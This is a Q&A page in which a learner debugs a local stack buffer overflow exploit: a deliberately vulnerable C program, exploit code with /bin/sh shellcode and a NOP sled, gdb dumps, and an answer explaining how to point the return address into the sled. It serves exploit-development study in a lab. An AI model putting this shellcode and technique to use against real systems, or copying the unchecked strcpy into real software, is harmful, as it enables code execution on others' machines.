Search code examples
cgdbbuffer-overflowshellcodebuffer-overrun

Buffer overflow attack, shellcode isn't performed


I am learning ethical hacking, so I am doing simple overflow stack attack to overwrite saved return pointer. Here's my vulnerable program(compiled without canary and NX protection,

-fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0

) and program, that creates buffer(NOP__SHELLCODE__RET) and calls vulnerable program. Everything is really simple, however dont work -_-. Overflowing is working, but shellcode after it isn't performed, but saved return pointer in vulnerable program is on NOP.
Vulnerable program(command.c):

void somefunc(char **argv){
    char buffer[30];
    strcpy(buffer, argv[1]);
}
int main(int argc, char **argv){
    if(argc==2)
        somefunc(argv); 
    else
        printf("There is no args"); 
    printf("__RET FROM MAIN OF COMMAND__");
}

Exploit(exploit.c):

//shellcode = /bin/sh
char shellcode[]={
"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf"
"\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54"
"\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"};
int main(int argc, char **argv) 
{
    unsigned int mem_i , ret, *ptr, offset=0; 
    if(argc < 2){
        printf("Usage: <exploit> offset\n"); 
        return 0;
    }
    offset = atoi(argv[1]); 
    const char *cc = "./command"; 
    char* buffer = (char*)malloc(200); 
    bzero(buffer, 200); 
    ret = (unsigned int)&mem_i + offset; 
    for(mem_i = 0; mem_i < 160; mem_i+=4) //writing data with RET(return address pointer)
        *((unsigned int *)(buffer+mem_i)) = ret;
    memset(buffer, 0x90, 100);//            NOP Sledding
    memcpy(buffer+100, shellcode, sizeof(shellcode)-1);//writing shelcode
    execl(cc, cc, buffer, NULL);//exec vulnerable programm
//  -----------------------------------------------------------------------------------------
//  |               NOP                     |       shellcode       |       RET             |
//  -----------------------------------------------------------------------------------------
}

as I have noticed, shellcode perform /bin/sh So there's reason to look at what saying my favourite gdb ;)

----> gdb exploit
...
/*breakpoint at "execl(cc, cc, buffer, NULL);", before it performed*/
(gdb) x/64xw buffer
0x5555555592a0: 0x90909090  0x90909090  0x90909090  0x90909090/*It is NOP*/
...
0x5555555592f0: 0x90909090  0x90909090  0x90909090  0x90909090
0x555555559300: 0x90909090 '0xfe58426a  0x529948c4  0x622fbf48/*SHELLCOdE*/
0x555555559310: 0x2f2f6e69  0x54576873  0xd089495e  0x0fd28949'
0x555555559320: 0xffffde05  0xffffde44  0xffffde44  0xffffde44/*return address pointer*/
0x555555559330: 0xffffde44  0xffffde44  0xffffde44  0xffffde44
(gdb) next
/*next we are goint in command, because code calling it(execl(cc, cc, buffer, NULL)*/
(gdb) disass main
...
0x00005555555551ef <+32>:   call   0x555555555169 <somefunc>
0x00005555555551f4 <+37>:   jmp    0x555555555207 <main+56>/*this address somefunc() 
will save as saved return pointer*/
...
(gdb) break somefunc
(gdb) cont
Breakpoint 3, somefunc (argv=0x7fffffffdee8) at command.c:8
8       strcpy(buffer, argv[1]);
(gdb) x/32xw $rsp
...
0x7fffffffddd0: 0xffffddf0  0x00007fff '0x555551f4  0x00005555'
/*it is saved return pointer, that we need to overwrite, 0x00005555555551f4)*/
...
(gdb) next
//have writed out buffer in stack
(gdb) x/64xw $rsp
...
0x7fffffffddd0: 0x90909090  0x90909090  '0x90909090 0x90909090'/*we have 
overwritten saved return pointer to NOP*/
0x7fffffffdde0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffddf0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffde00: 0x90909090  0x90909090  0x90909090  0x90909090
                            /*next is going shellcode*/
0x7fffffffde10: 0x90909090  '0xfe58426a 0x529948c4  0x622fbf48
0x7fffffffde20: 0x2f2f6e69  0x54576873  0xd089495e  0x0fd28949
0x7fffffffde30: 0xffffde05' 0xffffde44  0xffffde44  0xffffde44
0x7fffffffde40: 0xffffde44  0xffffde44  0xffffde44  0xffffde44

Everything should work, because we have overwritten saved return pointer(0x00005555555551f4) to NOP, however shellcode isn't performed. What's the problem?


Solution

  • The return pointer should point to your shell code or NOP sled, not necessarily be a part of it.

    Because your overflow overwrites the return address with NOP instructions, you're telling the victim program to return to address 0x9090909090909090 after the function completes. However, this isn't a memory address you control, so your program will most likely just SEGFAULT.

    You should instead overwrite the return pointer to point to somewhere in your NOP sled on the stack after the return pointer. At the end of the sled of NOP instructions, your shellcode should lie.

    So instead of NOP instructions, your overwritten return pointer should be a memory address you now control, like 0x7fffffffde10. Now the program will set the instruction pointer to your NOP sled, which will lead to your shellcode.

    And just a hint: You may need to encode the address backwards depending on the endianness of your system.

    How to fix your exploit code

    You essentially need to figure out how many bytes you need to put in the victim program's buffer until you begin to overwrite the return pointer. Once this is figured out, write another for loop before the one for your NOP sled that fills the buffer with padding bytes (it's common just to use the character 'A'), then put the address that points inside your NOP sled, then write your NOP sled, then your shellcode.

    Additional reading: https://resources.infosecinstitute.com/topic/return-oriented-programming-rop-attacks/